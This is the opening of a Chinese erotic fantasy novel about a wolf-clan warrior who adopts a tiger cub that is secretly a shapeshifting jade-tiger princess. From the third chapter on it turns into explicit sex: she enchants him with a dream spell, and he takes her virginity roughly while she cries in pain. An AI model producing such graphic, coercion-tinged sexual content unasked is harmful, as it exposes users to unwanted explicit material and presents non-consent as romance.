D俏虎戏淫狼[玄幻武侠]

 
  
第一章

“看看我捉到什么了?”

俯看着树丛下方所设下的陷阱因住一团毛绒绒的花色物体,戟连天吹了声口哨,喃喃自语道。

他自言自语的声音虽然不大,但那声轻亮的口哨却还是将察看其它陷阱的同伴们引了过来。

只见三个体型壮硕高大,但却还略逊说话男子一筹的黑狼族及紫狼族勇士,分别从三个方向朝他走了过来。

其中一个背着箭筒、裸着双臂的短发男子,还没走到站在胡莲荆下的同伴身后,就捺不住好奇心开口问道:“连天,陷阱里有什么?”

待三个男人全走到戟连天身后,只见被称为“连天”的男人正蹲跪在陷阱前,伸长了手臂弯身在洞里掏着。

于是几个男人也跟着围在旁边,等着看他从里面掏出什么东西来。

“小家伙,乖一点……”

戟连天的眉毛桃了下,却没收回被咬了一口的手。

他用拇指顶开咬上他食指的小小兽嘴,顺着牠温暖软绵的毛皮向后抚,没两下就摸到缠住毛绒后腿的绳索。

他的俊脸上漾出一抹笑,霍地直起身子,将手上从洞里抓出来的东西高高举起。“你们瞧!这是什么?”

倒吊在半空中蠕动挣扎的花色毛绒物体,后腿被绳索捆住,正囓牙咧嘴地亮出细小尖锐的利齿,嘶嘶作声地做着自以为是的威吓。

方才开口询问戟连天的紫狼族教者──安达,看见戟连天手中提着的小东西便朗声大笑。“哈哈!”

他伸出手指逗弄倒吊在空中、一点都不具威胁的小老虎。“这小东西是从哪来的?咱们福临悠境从来没见过老虎,哈哈!这么个小不点,她应该还没断奶吧?”

小老虎覆满白色细软绒毛的胸腹露了出来,下腹的性征明显可见,她的性别自然也不会让人错认,是只可爱的小母老虎。

虽然圆滚滚的四肢及毛发蓬松可爱的小脸和身躯,让她看起来跟只可爱无害的小猫没什么两样,但她身上明显的黑黄条纹、细小却比小猫来得尖锐的利齿,却都是明确属于虎儿的标示。

只是,她看起来跟普遍所见的老虎还是有着些微的不同。

她虽然有着老虎所特有的深橘褐色毛皮、花白及浓黑组成的花纹,但是花纹中却掺杂了普通老虎身上不曾见过的银白和赭红色,颈项间还有玉虎族才拥有的放射状颈纹。

难道这只有放射状颈纹的可爱虎儿会是玉虎?

这个问题一时间同时闪过四个男人的脑海,但除了戟连天之外,其它的三人很快就打消了这个怀疑,因为他们从没见过玉虎族里有任何一个人拥有这种颜色的毛皮。

而被高吊在半空中的小老虎哪能由人肆意逗弄?当安达逗弄得正高兴的时候,小老虎倒吊着的身躯忽然一缩,前掌快速地伸出扫向安达的手,锐利的爪子瞬间在安达的手背上留下渗着血丝的爪痕。

“哎呀!”没料到会被攻击,安达一吃痛,下意识地手臂一扬就要朝攻击他的小老虎挥去。

一看不对,戟连天手臂一扬,动作迅速地将握在手中的绳索一提一收,让小老虎躲开了安达致命的一击。“嘿!她是我捉到的,你可别伤到她!”

接着,又朝挥手落空的安达说道:“你既然有工夫逗她玩,还不如仔细看看咱们四周有没有大虎的踪影,虽然老虎喜欢单独行动,但就像你所说的,她看起来像是还没断奶,按理说至少该有母虎在身边才对,更何况你没看到吗?她有玉虎族的颈纹。”

“我又不是存心想伤她,这是反射性的动作嘛!小家伙脾气可不好呢!”挥手落空的安达收回手,伸舌舔了舔手背上刺痛的血痕。

他并没有因为戟连天袒护小老虎的动作及言语感到不高兴,因为他的动作纯粹只是出自于受到攻击的自然反应,完全没有想要杀害小老虎的意图。

他一边舔着伤口一边说:“玉虎族?我是也有想过她是玉虎,可看她的模样……不太像呀!”

将渗出的血液舔净后,安达睨了眼还不安分、正在挣扎的小虎,开始警戒起来,与另两个同伴注意起周遭的动静。

转过身子背对着他们,用凌眸搜索深幽茂密的树林,同样身为教者但属黑狼族的盘子刚也小声地附和。

“我也觉得不像,玉虎族的族人全部拥有毫无杂色的雪白色毛皮,但她却像是掉进染缸里翻滚过似地五颜六色,比较像一般老虎;虽然颈纹是玉虎族的特征,但普通老虎也有可能刚好长了相像的……多霖,你觉得呢?”

被盘子刚点到名的紫狼族族长之子多霖,也侧头瞥了眼已经被戟连天抱在胸前、被制住利爪的小老虎。“如果她是玉虎,那么她该在第一时间就表明她的身分,不是吗?”

很简单的话,但却说出了重点。

只要是属于浮云界的族群,不论年龄大小或者能力高低,一律都天生人形和原形,但很多族人却打从出生起就没用过原形示人。

如果她是浮云界的同类,那么她不该在他们面前仍然维持兽形;就算她偏爱维持兽形,她也该说话一下表明她的身分吧!

多霖的言下之意就是说,他同样也不觉得这只可爱的小家伙会是玉虎族的同类。

左边一句,右边一句,同伴们所持的意见很有默契地一径相同,这让戟连天不得不拋去对她颈纹的怀疑。

他将手中的小家伙翻过来、转过去,在她全身上下检查了一遍后,确实没感觉到任何玉虎族的气息。

戟连天这才不得不同意他人的意见。“也对,就算是误闯咱们福临悠境,要真是玉虎,他们的确应该会表明身分……”

“附近看起来不像有大虎出现过的迹象。”多霖仔细观察过草地及林间的地面,因为没有任何发现,所以下了结论。

“这小东西总该不会平空出现吧?”安达没学到乖,不安分的手又随着开口说话朝着小老虎伸过去。

当他看到小老虎咧嘴露出的利牙,转而又作罢将手收回自己身侧,刚被抓伤的手背还隐隐刺痛着呢!

虽然小老虎无法真的对他造成太大的伤害,但他总没必要硬在自己身上搞些小伤口吧?

他可是紫狼族教者,没因为保护家围受伤,却为了这只小虎儿流血,也未免太不值了!

所以安达这才没再去逗弄戟连天怀里的小老虎。

确定周身不会有任何隐藏的威胁,盘子刚及多霖也跟着安达走回戟连天身前,一起用好奇的眼神打量他手中虎眸莹莹、充满野性的小老虎,点头表示同意安达的问话。“是呀!没有道理只有一只小老虎出现。”

于是戟连天抬眼环顾四周,审视过每一处后,最后将眼神放在最东边一棵高耸入云霄、树上结满美人果的仙茄树。“也许,她是从结界外不小心闯进来的迷路小娃儿……”

他们所处的这片浓密森林位居福临悠境的最东边,全福临悠境中只有这片森林是与凡界相连,只要跨过那棵仙茄树,就是属于人间界的土地。

为了不让凡人误闯福临悠境,这棵老仙茄树上被狼王、长老及圣殿守护圣女及从祭圣女们施法设下了无形的结界,用以区隔不同的世界。

但这个结界限制的,并不包括生活在浮云界的族裔以及两边的原种生物。

只要是属于他们这类族群的人民,全都能够轻易自由地来回穿梭,但另一方的凡人却会被无形的力量牵引开来,也无法看见属于福临悠境的一草一木。

所以这只小老虎根本就是从凡界溜进来的吧?虽然这附近从未见过老虎的踪影,但也不代表永远不会出现呀!

戟连天看了看对面一览无遗的林地,以锐利的狼眸仔细察看其间的动静,然后低头看着挣扎得累了、现在已经在他臂弯中瞇起可爱虎眸的小老虎。“看来你真是落单了……”

看见在他眼前张大了小嘴打了个呵欠,然后将小脸在他臂上蹭了蹭,窝了个舒服姿势,渐渐沉入睡眠中的小家伙,戟连天脸上扬起了轻笑。“那你就跟我回去吧!”

闻言,其它三个大男人皆用不可思议的表情看着戟连天。

虽然戟连天待人一向和气有礼,不论男女老少一向周全以待,但就算如此,他们从没见他对姑娘家轻声细语、温柔以待;可现在他竟然对着一只小老虎流露出这样的柔情,怎么不让其它三人看了大为震惊?

“你要把她带回去?”安达忍不住大声怪叫。

“这么大声做什么?我们这几个人里面谁的耳朵聋了?需要你这样大声说话?”戟连天没好脸色地瞪了在他耳边大呼的安达。

然后又斜睨一眼盘子刚等人脸上明显的惊讶,“这样看我干什么?我脸上长花了?”

接着不理会他们的反应,戟连天用空着的手捡起放在脚边装满猎物的皮囊,率先朝来时路走去。

被拋在身后的三个人面面相觑了一会儿,然后耸耸肩,各自拾起脚下的皮囊甩上肩头后,快步跟上戟连天的步伐。

“你带她回去要干嘛?”这句话还是粗线条的安达问的。

快步赶上戟连天身侧,看着他宝贝小老虎的样子,安达用不可思议的口吻说:“看你的样子不像要将她下锅的样子,难不成你要把她当小猫来养吗?”

他们灵狼族是也会养些小猫、小蛇、小貂、小鹦鹉之类的宠物啦!但那向来都是娘们儿及小娃儿喜欢的小玩意,什么时候开始连男人也流行养宠物了?他怎么不知道?

安达用手搔了搔后脑,心里对戟连天的行为感到不解。

戟连天被问烦了,“咱们灵狼圣殿有不许养老虎的戒条吗?不过是带只小老虎回去,能有什么大不了的?安达,你真像娘们,不!你比娘们还啰唆!”

说完后,戟连天化为一道银色旋风,扬起了安达等人的头发及衣角后,便消失在他们眼前,朝着部落所在远扬而去。

“多话!”盘子刚走到安达面前,丢给他冷冷的一句后,紧接着也在他面前化为轻风消失了。

“叨念!”顽皮的多霖学着盘子刚的动作,也故意走到安达面前嘲笑地看他一眼,跟在盘子刚身后不见了。

安达看着乘着他们刮起的风缓缓飘浮在空中的佛手叶良久,然后才后知后觉地发现自己被同伴消遣了。

比他地位高的戟连天还有与他同等的盘子刚嘲笑他也就罢了,但多霖?那个年纪比他还小、跟在他身后习艺的小子,有什么资格胆敢笑他?

不多久后,寂静的密林间传出了一声怪叫。

在惊起栖鸟及走兽的同时,一阵疾风呼啸而过,在树林上端扬起一阵枝叶晃动……

轻脆的活泼女声用装出的童音向身前眨巴着大眼的小娃儿说道。

戟连天还没现身进门,在厅里逗着小侄儿、小侄女玩的小幺,就已经感应到了空气中的浮动。

她笑着摇动手中逗娃娃的银铃串儿,逗着坐在娃娃篮内,咧着小嘴、流着口水,可爱漂亮到不行的两个小娃娃。

穿著一身红衣,样貌俏丽的小幺是戟连天的小妹,因为是戟家排行最小的一个,所以自家人打小就叫她小幺,久而久之,所有的族人也都跟着这样称呼她。

“唔……啊……啊……”

还没长牙的男女娃娃像似听懂了小姑姑的话,亦或是天生的感应发挥作用,呀呀作声地用小胖手一同指向门外。

“对,叔叔回来了,小崇和茉茉感觉到了喔?”

小幺拿起手绢替自家大哥的一双龙凤儿女擦去小嘴边的口水,知道他们确实察觉了空气中的气流变化。

他们毕竟是灵狼族现任狼王的嫡亲子女,想当然耳,天生的能力自然是更敏锐啰!

她刚擦完侄女茉茉的嘴角,一阵带着强劲力道的旋风就从门外朝里刮了进来。

当那银色旋风散到娃娃篮边时,小幺身侧就出现了戟连天高壮的身躯。

她刚要抬头,耳中就听到一声,“小幺,接着!”

戟连天一站定身子,也不管小幺能不能拿得住那只大皮囊,就将手中拎着的沉重皮堨朝她一扔,接着就弯身去逗弄讨人喜欢的小娃娃了。

而小幺一听到戟连天的吆喝,就丢开逗弄娃儿的银铃串,反射性地伸出双手要接,却万万没想到二哥丢给她的竟是如此沉重的皮囊。“哎哟!好重呀!”

本来跪在娃娃篮前的小幺根本还来不及起身,就被戟连天丢给她的重物给压得朝后跌坐在地上了。

这儿小幺正挣扎着要推开压在身上的皮囊,那儿戟连天正将臂弯中引起娃娃们注意的小老虎,轻轻抱上前让小娃娃们看仔细。

“臭二哥!这皮囊很重耶!我哪拿得动呀?你还不来帮我……”在地上挣扎的小幺大声嚷嚷着。

正当她毫无形象地打算大声骂出来时,忽然间,沉沉压在她身上的重物忽然消失了。

松了口气的小幺抬眼一看,原来是随后进来的盘子刚顺手将压在她身上的皮囊拿起来了,而跟在盘子刚身后的多霖则大发善心地伸手扶了她一把。

小幺一边拍着沾上灰尘的裙子,口里一边朝戟连天嚷嚷,“臭二哥!你太过分了,再怎么样我也是个女孩子,你就一点都不怜香惜玉,把那样重的东西朝我身上扔……哎哟!”

才借着多霖之力站起身来,还没能站稳脚的小幺忽然又惊呼了声,险险地踉跄了下,差点没再跌个狗吃屎。“多霖,你做什么突然放手?你……”

自行平衡过来的小幺还没骂完,厅里就响起多霖杀猪似的哀叫及安达怒气冲冲的吼叫。

原来是紧跟着戟连天等人身后进门的安达,不敢拿能力比他高的戟连天开刀,也不想跟与他势均力敌的盘子刚开打,于是只能拿年纪最小、功夫最差的多霖出气。

只见安达一上前来,就用手臂紧紧勒住多霖的脖子,将他从小幺身旁拖开,横眉竖目地咒骂着,“臭小子,连你也敢笑我?敢说我叨念?你这小子活腻了是不是?一天没教训你,你就忘了谁是老大了?臭小子!”

“多霖不敢……不敢了……安老大你快放手,快放手呀!”

多霖状似痛苦地拚命用两只手抓着紧勒在脖上的手臂,口里不住求饶。

一个爱胡闹、一个喜耍宝,两人凑在一起,天生就是制造笑料的一对活宝。

于是两个大男人就像孩子似地从娃娃篮前打到了桌案旁,扭成麻花似地从桌案前滚过戟连天的脚下,移到放满点心的小几旁。

盘子刚早就将装着猎物的皮囊放好了,凉凉地闪到一边,舒服地坐在宽大的椅子上。

他替自己倒了杯温热的甜露菊茶,捻着陶盘中精致的芝麻小卷吃,以万分闲适的姿态看着在眼前上演的闹剧。

而本来嘴里骂着自己二哥的小幺,也因为安达及多霖的胡闹,被扰得一时忘掉方才戟连天的捉弄。

她愣愣地看了一会儿无趣的打斗后,才又被侄儿女们高兴的嘻叫声引开了注意,再加上不时从戟连天手臂中瞥见毛绒物体,也着实让她好奇了起来。

于是她挨到戟连天身侧,偏着头看着他胸前的花色毛绒。“哇,好可爱喔!”

接着,她伸出的纤纤玉手顿时就这么僵在半空中,语气中的兴味及有趣忽然消退了。

“二哥,你打哪儿弄来的小老虎?是要给娃儿们玩,还是要给咱们今晚加菜的?”她吃味地看着自己始终摸不到的可爱小虎,气呼呼地故意问道。

闻言,戟连天侧脸没好气地瞪了小幺一眼,“奇怪了,我看你是爹娘因为没有女儿所以抱回来的吧?搞不好你跟安达才是同一个娘胎出来的,不然怎么讲出口的话都一模一样!”

他一面抓住退了睡意惺忪后,滑动着四肢想要摆脱箝制的小老虎,一面拨出神来用不满的神情看着小幺,“怎么,她是碍着你的眼,还是咱们少给你吃的了?做什么非得吃了小家伙不可?”

“谁教你一副把牠当宝贝护着的样子,让人看了碍眼!”小幺一点都不迟疑地马上回话。

随着她手臂越伸越长,却还是无法碰触到那只小老虎时,心里的不悦更是渐渐表现出来了。

虽然她这个二哥比起正经到最高段的大哥来得平易近人,也更为风趣幽默,但倒也从没见他对小动物有这样疼爱的表现……

“我哪有把她当宝贝?”戟连天完全没发觉自己对小老虎异于平常的看重,还反驳着妹妹。

第二章

“还说没有?”

小幺震动的眼中,明显地闪动着对戟连天的指控。

她扬高了甜美的声调,带着委屈说道:“你自己看看你的动作……我不过随口说了句要把牠拿来加菜,你就连碰都不让我碰一下,你是这样对待与你同父母所出的亲亲小妹的吗?我要告诉大哥说你欺负我!”

“随你去说,我看大哥会不会理你!”

不当一回事的戟连天顺口就回了小幺,但还是低下头看向小幺指控他的情形。

看清楚了颈部以下的情形,嗯……他好象无法反驳妹妹的指控耶!

就看到小幺拚命伸长了手臂,却还碰不到他不知不觉间向旁移开的小老虎。

戟连天这才发觉,自己对这只小老虎确实有着不寻常的重视。难道这就是安达大惊小怪的原因吗?

戟连天就这么高高捧着小老虎发起愣来了,而坐在娃娃篮里的小兄妹,则一脸好奇地睁大了眼看着在眼前僵持的叔叔和小姑姑。

不过说实在的,真正比较能引起他们好奇的,应该还是那只在戟连天手上始终没有安分过一分一秒的小花虎。

此时,仍然在地上纠缠成一团的安达及多霖,咕噜咕噜地又滚过了戟连天及小幺僵持不下的身后,竟然一点都不知收敛,还乐此不疲地继续在地上打滚。

而端坐在椅上的盘子刚则凉凉地弹了弹手指上的芝麻屑,对眼前胡搅蛮缠的两个大男人以及四目相望的兄妹俩视若无睹,自顾自地又捡起了块小点放进嘴里。

戟连天伸出食指一戳,小老虎就坐不稳地仰头朝后翻了过去。

他趴在床上,用手肘支着身子,看着因他的捉弄翻了个跟斗又挣扎着坐起来的小老虎。

她圆滚灿亮的棕绿色眼瞳里,隐隐闪动着对他捉弄的不满。

坐起身后,她伸出了毛绒的前掌示警地朝他挥舞了下。

看着她可爱到不行的动作,戟连天的喉间发出了低沉的笑声。“小家伙,你才一点点大,脾气却很火爆呢!”

他像得到新玩偶的小孩一样,很有兴趣地逗着可爱的小老虎。

用手接住她朝他拍来的毛绵的前掌,将她整个身子拉高再放下、拉高再放下,让她就像在床上跳舞一样,被他耍着玩弄。

“该给你取个名字,叫什么好呢?嗯……我想想,我看叫你花花,你觉得怎样?”他用手指勾弄她拍动的小掌。

当他说出“花花”两字时,小老虎低啸了声,失了方才被他随意摆弄的好脾气,猛然朝他的手指扑来,张口就用细小的利齿咬住了他不停逗弄她的手指。

但她的行为只换得戟连天止不住的笑意。

从她用前掌朝他挥动开始,她就没有伤害他的意图,咬着他手指的力道就跟小猫跟主人玩耍般轻含着他。

就连朝他挥舞着前掌时,尖锐的利爪也被她小心地收在爪鞘中,这就表示她只是在跟他玩耍而已。

“好,好,好,你不喜欢是吧?那我另外再想想……”戟连天任由她咬着他的手不放。

他的手向上拉起然后又放下来,让用嘴咬着他的小老虎随着他的动作,像被钓上的鱼一般上下起伏。

“阿美?小黄?小毛……”

他一口气说了一堆毫无气质也不好听的名字,本来只是自己说着好玩,但没想到小老虎接下来的反应倒真是出乎他的意料之外。

就看到小老虎像是完全听懂了他说的话,将对他毫无品味的嫌弃表现得明明白白。

她漂亮的绿眸先是好象瞪了他一眼,然后松开咬含住他手指的小嘴,抬高了可爱的头,迈着小短腿,转身以高傲的步伐走到床的另一头背对着他。

她一屁股坐在软绵绵的锦垫上,头也不回地不再理睬他的叫唤。

她高傲的姿态看起来就像个威风凛凛的女王,更像心高气傲的美人般不可一世。

她无形中散发出的高贵气质,让他再度怀疑起她真实的身分。

所以在唤了她两声没得到反应后,戟连天就将闪过脑海的念头说了出来,“叫你小美人如何?这个名字你总该满意了吧?”

明明是毛绒绒、圆滚滚的可爱外表,但瞧她生气使性子的姿态,活脱脱就像是个倾城美人在他面前耍脾气。

这样高贵傲慢的姿态,叫她声“小美人”,也该是名副其实了吧?

果然,她该是很满意这个称呼──小老虎听到他叫唤她“小美人”之后,本来不耐地拍打着床面的小尾巴停了下来,接着转过头斜睨了他一眼。

等确认了他眼底的认真后,她才起身朝他慢慢走过来。

当她走到他面前时,深邃的眼眸看了他好一会儿,然后伸出粉红色的小舌头朝他的嘴角舔了舔,似乎对他为她取的名字感到满意。

她的动作是小兽很自然的行为,但却让戟连天浑身震颤了下。

那湿湿暖暖的轻柔舔弄触感,竟让他身上窜过一阵类似性欲被挑起的快感。

那突来的快意把他给吓坏了,他只能呆呆地看着近在眼前的可爱小脸及闪动着异光的绿色眼瞳,在床上化成了一个人形化石……

从戟连天带回小老虎、情欲被小老虎莫名挑起的那天晚上开始,在族里一向以好脾气著称,跟任何人都好相处的戟连天,脾气开始变得阴阳怪气,让人无法捉摸。

前一刻他还满脸笑意示人,跟大伙有说有笑的,就像是高挂在天空上散发着热力的金黄太阳般耀眼温暖;但下一刻却像突然涌来了乌云雷雨将阳光遮盖住般,莫名其妙就变了天,伴随而来的阴风阵阵,让所有不幸刚好在他四周的人冻得差点没流鼻水受风寒。

他的脾气就像诡谲难测的冰岚峡谷般让人难以捉摸……不!是更难捉摸。

因为冰岚峡谷不过一日百变,但戟连天却是千变万变,时时刻刻都有变化的可能。

要不是族人全都是打小看他长大或者从小一起玩到大的同伴,他们还真想把戟连天拖到暗处好好教训一顿,看能不能将他打回成原来那个好相处的戟连天,结束他们难过的日子。

不过众人私底下想归想、讲归讲,却没有一个人敢真的付诸行动。

除了戟连天本来的好人缘让大家愿意再多容忍他一段时日之外,以他的天生神力,别说灵狼族勇士了,就算是联合狼王,搞不好都得费上不小的功夫才能将他制住。

如此大费周章又不讨好的事,没有人会真的傻到去做的。

于是这诡异的情形,让众人在纳闷之余,不得不像避蛇蝎似地离戟连天远远的,就连他的几个死党也都机伶地躲得不见踪影。

别说与他亲近的妹妹小幺一天到晚吃他排头,那些平素里爱慕他,喜欢在他四周打转引他注意的狼族少女们,更不知为他异于平常的冷漠流下了多少伤心委屈的眼泪,哭湿了多少条手巾。

如果有个人能跟在戟连天身后一路清扫的话,搞不好还会扫到一堆被他无意间伤害而碎裂的玲珑剔透少女心呢!

就连他的亲亲大哥──灵狼族尊贵的狼王戟如天,都被他公平地一视同仁,三不五时就像洗三温暖似地被他忽冷忽热地对待。

而这阵子不知受到多少族人哀怨投诉的狼王戟如天,在安抚族人的同时,也在心里画下了底线。

只要戟连天没给他出乱子,或者是疏忽了自身的责任,他暂且就当戟连天是因为迟来的叛逆期作崇,放任戟连天一段时间,让戟连天自己调适过来,不与戟连天多计较。

那一头的大哥及族人们对他多有包含,而这一头的戟连天明知他情绪混乱的起因是小美人,但他却无法控制也无从改善。

可是在他控制不住自己心绪起伏的同时,他的心眼还是雪亮的,清楚明白谁能得罪、谁不能得罪。

所以全族上下,只有“唯二”的两个人能得到戟连天的另眼相看。

一个是狼王夫人,也就是戟如天的老婆、戟连天的大嫂苏月翎。

不论当下戟连天有多想变脸发脾气,只要苏月翎一出现,他再难过也会拿出笑脸,用最最有礼的态度面对亲亲大哥的亲亲老婆。

因为万一一个不好错待了大嫂,惹得大嫂心里委屈了,那么,一直以来拿出最大耐心来容忍他的自家大哥肯定会发飙,把他抓起来痛打一顿,以慰爱妻受伤的心灵。

挨一顿打,对皮粗肉厚的戟连天来说倒还不算什么,真正让他有所顾忌及害怕的是,如果真惹得大哥生气下了禁令,不准他接近一对可爱的侄儿女的话,那事情才真算大条呢!

所以他大小眼分得很清楚,阴阳怪气的同时,对大嫂还是小心对待,一点也不敢有丝毫怠慢。

只是,将此情形看得清楚明白的族人们,心里更觉不平了。

而另一个被戟连天另眼相待的人,更让他们不禁连连捶胸顿足,悲叹自己命不如小兽……

另一个是谁呢?

嗯……依大家的聪明才智,应该都猜得到吧?

没错,就是那只戟连天从陷阱中解救出来的花不溜丢的可爱小虎。

虽然是她让戟连天心烦意乱,但她不但丝毫未受波及,还天天吃好睡好,像个女王般过着欢天喜地的喜乐平安日子。

整天不是跟在戟连天身后滚来滚去,就是被他抱在温暖的怀中逗弄,一点都不受他情绪不好的影响。

看着她平安地置身于冰火之外,全灵狼族的族人都因她的好运投注了许多羡慕及嫉妒的眼光。

而那些少女们呢?不用说,全都恨不得能成为被戟连天拥在怀中的小老虎呢!

夜里,戟连天正潇洒地坐在房前廊外的台阶之上。

他厚实宽阔的肩背倚着侧边的垂花木栏,结实有力的长脚则帅气地曲起,一手以闲适的姿态挂在膝盖上。

炯炯有神的深蓝色眼瞳敛起凌厉的目光,以放松的神情看着在权衍星及月亮银柔炫目的光线下玩耍的小老虎。

在夜色下,小美人的精神比起白日更显精力十足、活泼好动。

她快乐地在草地上翻滚,扑打着在她周身飞舞的夜光蝴蝶,随着她的跑动及跳跃,在她近腰处位于背腹交界的边缘,出现了差不多有成人巴掌大的图腾。

那图腾呈现暗紫红色,从不同的方位观看,如同燃烧着的火焰般火光炽炽。

那美丽幻奇的图腾,戟连天绝不会错认,那是属于玉虎皇室的标志,而且是其中最最尊贵的领导级人物才会有的……

最初从陷阱中将她抓起时,她身上并没有那美丽的图腾。

是从何时开始出现的呢?戟连天不禁回想起那天的情形──

“呼!好累呀!跟你玩一下午,比我去巡守边界还累人。”

戟连天坐在凉爽的草地上,用手大力揉着小美人的头顶,将她蓬松的毛发弄成乱七八糟的俏皮模样。

“咱们在这里躺一下吧!瞧,这儿的风景多好。”

戟连天带着小美人来到福临悠境西边的神奇森林,与小美人追逐玩耍了大半天后,终是不敌疲惫,搂着同样喘气不休的小美人,一同大剌刺地仰躺在软绵的草地上。

日光和煦,四周满是香木、越橘及紫薇的一方林间草地,让一人一兽缓缓地平息因跑动而激狂的心跳。

静止下来以后,戟连天闭上眼,听着悦耳的鸟鸣声以及轻扬起他衣角的微风吹拂枝叶的沙沙声响。

周身平静的气氛及臂弯里温暖的毛绒身躯,让他心境平静,渐渐意识消散,沉沉地进入安稳的梦乡。

睡着了的戟连天,没能看到在他怀侧的小美人身上发生的变化。

本来安分地躺在他身侧的小虎儿察觉他已经睡沉了,终于抬起了头,用圆亮的棕绿色眸子定定地看着他睡着的俊颜好一会儿。

此时,在她眸中闪动的不再是属于幼虎的傻气及天真,流转着莹莹绿光的妖异美眸,流露出不该属于虎儿的绮丽风情,那如同成熟女性的娇媚眼神,不但妖娆动人,更是女性魅力十足。

当她眼神益发妩媚之时,她的周身泛起莹白的温润光芒,将她的身躯完全包围起来,渐渐的,她的身形轮廓溶进四周的空气中,变得朦胧而模糊。

而后,奇妙的事情发生了!

蜷伏在戟连天怀里的可爱身躯,全身毛绒的花色毛皮突然退尽,转瞬间迅速褪去了兽形,一副玲珑曼妙、曲线窈窕的女性躯体就这么成形了。

她有着一头浓密蓬松的如云秀发,美丽的深棕色中掺杂些许银白及赭色,在日光下闪闪发亮,就像是一匹上好的丝绸披散在滑腻雪白的背脊上。

美丽的五官不但细致,顾盼之间更是带着野性的深邃冶艳,明艳的眉眼及丰唇让她看起来妖娆妩媚,脸上漾满风情万种的巧笑,正以微微上扬的绿眸凝望着闭眼沉睡的戟连天。

她朝他伸出一只白腻雪滑的玉手,“连郎……”

软绵甜腻的嗓音配合着瞇起的绿眼儿,真的是酥人心魂的绝大诱惑,但戟连天却一无所觉自己身边的小虎竟然变成如此娇艳的女子。

就如他为她取的名字一样,小虎真是个倾城美人。

“吁……”她嘟起美丽的唇瓣,向他吹出一口芳馥的气息。

她对他下了梦咒,让他清醒过来,却自以为仍在睡梦之中……

当那口气息贯进戟连天鼻中之后,不一会儿,就看到戟连天突然睁开紧闭的眼,用不甚清明的迷离眼神望着她。

“连郎,吻我……”她抬起上半身,伏上他壮健结实的胸膛。

小手拨开他微微敞开的衣襟,温润的手掌抚摸着他肌肉偾起的胸膛,美丽的小险毫不害臊地朝他俯下,红润的嘴唇吻上他性感的薄唇。

随着她的动作,她胸前两团高耸挺翘的乳房揉上他裸露的胸膛,微翘的乳尖像小石子般抵在他的胸前揉弄,勾起他体内的熊熊欲火。

在她以舌尖顶开他的唇瓣灵巧地滑进他湿热的口中时,他主动含住送进口中的滑腻香舌轻轻吸吮舔弄,大掌也移往她身上,上下爱抚她完美的身躯。

“嗯……唔……连郎……”她娇娇地嘤咛。

裸裎的娇躯不安分地在他身上妞动,因他的火热爱抚而难耐情欲地将身子翻跨上他的腰际,天生的直觉让她将腿心间娇嫩的花瓣抵上他勃发的男性象征。

“你是谁?”他神智昏乱地看着她的美颜喃喃轻问。

她先是媚笑不语,用舌将唇边因激吻而来不及吞咽的津液舔起,勾进口中吞食而下。

在展露如此撩人姿态的同时,脑中突然回想起她曾受过的教导。

她圆翘的雪股跨在他腰际旋转了起来,让腿心间散发着热力的娇嫩私处在他坚硬的男性上揉弄、挤压……

两片充血肿胀的花肉向旁微微敞开,将不断渗出盈盈春水的穴缝抵放在硕长的男性之上前后挪动。

在磨蹭出强烈的情火之余,也将她丰沛的春水染上包覆住他的硕大的丝稠长裤。

“嗯……连郎……”

手下感受到的美妙曲线让他忍不住自身的欲望而拿回主控权,搂着她俐落地翻转身子,将她压在了身下。

“你是湖里的水精吗?你真美!”

第三章

戟连天的赞美取悦了她身为女人的骄傲。

她一点也没被他猛然的动作给吓到,任由他壮硕的身躯将她紧压在地,她唇边泛起一朵笑花。

手臂勾上他的后颈,扭动细腰,她挺起结实的臀部用湿热的腿心磨蹭他勃发的男性。

“别管我是谁,你只要知道我现在是属于你的……连郎,要我……让我成为你的……”

听到她挑情煽火的话语,他满布情欲的蓝眸转为深浓的暗色。

他完全折服在她的性感风情之中,立刻接受她的央求,享受他身下的美艳女体。

他用手紧握住她胸上的绵乳搓揉,间或用手指拉扯雪峰之上粉色的乳尖,尽情把玩她两团丰美的乳肉,弄得她小嘴里不住逸出宛转娇啼。“啊……嗯啊……连郎,好舒服啊!”

他的窄臀前后摆动,让火热的男性隔着薄薄的衣料与她自动送上的软嫩花穴相互摩擦,没两下,相交之处便传出细微的水渍声响。

“小美人,你真热情,你把我完全弄湿了……”

他低头看着腿间将他硬挺男性的形状完全勾勒出来的湿漉漉衣料,他的男性不由自主地悸动了下,就像要将他的裤子撑破似的。

她的目光随着他移向他的腿间,包裹在银白丝稠下的赤红男性完美有力的形状隐隐可见,让她心跳更快、情欲更炽。

她忍不住开口娇声催促,“快点儿,连郎,我想要你……”

看向她大张的腿间,那两片水嫩花肉像花朵般盛开,隐在前端皱褶中的小巧花核竟也因她太过热情而挺翘起来,他忍不住伸手用粗指去按压圆圆的小花核。

“我还没进入你,你竟然就这样兴奋、这样挺翘了……”

当他的手摩擦按压敏感的小花核时,由那一点向全身扩散出一阵强过一阵的快感,差点让她就在他手下达到了高潮。“啊……啊嗯……我快死了……啊……”

就这么眼睁睁看着她的花瓣更形充血肿胀,本来紧闭着的穴缝也像小嘴一样一开一合地蠕动着,流溢出缕缕香滑春水,沿着她的穴缝而下,将她的股沟间弄成湿亮一片。

她在他眼前毫不生涩,主动敞开滑腻大腿让他更加看清她沾满水光的私处,因为她的大胆以及对性爱毫不陌生的态度,让戟连天误以为她是个性爱经验丰富的女人。

他的心底突然涌现纯男性的占有欲,他对自己并不是她第一个男人感到不悦,他无法想象她以同样美丽热情的姿态躺在别的男人身下承受欢爱的情景……

突然涌来的怒意让他眸光一沉,用力收紧抓握她乳肉的大掌,将她腴白的乳房抓得变形发红,另一手则粗暴地将自身的裤头解下,将狂啸着解放的火热男性释放出来。

他要占有她,马上!他要她是他一个人的!

挣脱了衣物的粗长男性就这么在他腹前高高挺起,微微悸动的男性前端因即将到来的交合而兴奋地溢出几滴黏稠的透明汁液。他大手一握,就将直挺的男性抵在她水嫩的花穴之前。

“啊……疼呀……连郎你怎么……啊……”

乳上的痛苦让她敏感得承受不住他突来的粗鲁抓握,还来不及搞清楚他为什么突然从温柔的情人转变为如此狂狷时,娇嫩的花穴就感受到了强大的压迫力道。

“唔……啊……”正莫名所以的小美人,下一瞬就被狂猛推进紧窄花穴的男性给弄得哀叫痛哭。

虽然她热情大胆,但她却是个货真价实、未识人事的清白处子。

戟连天在狂炽的怒意驱使之下,竟然像个摧花魔般粗暴,毫不怜惜地夺去了她的清白。

硕长的硬物就这么挤开两片紧紧包覆住珍美花穴的滑嫩花瓣,充满力量的前端趁着她先前动情的湿液,顶进紧缩娇嫩的穴口。

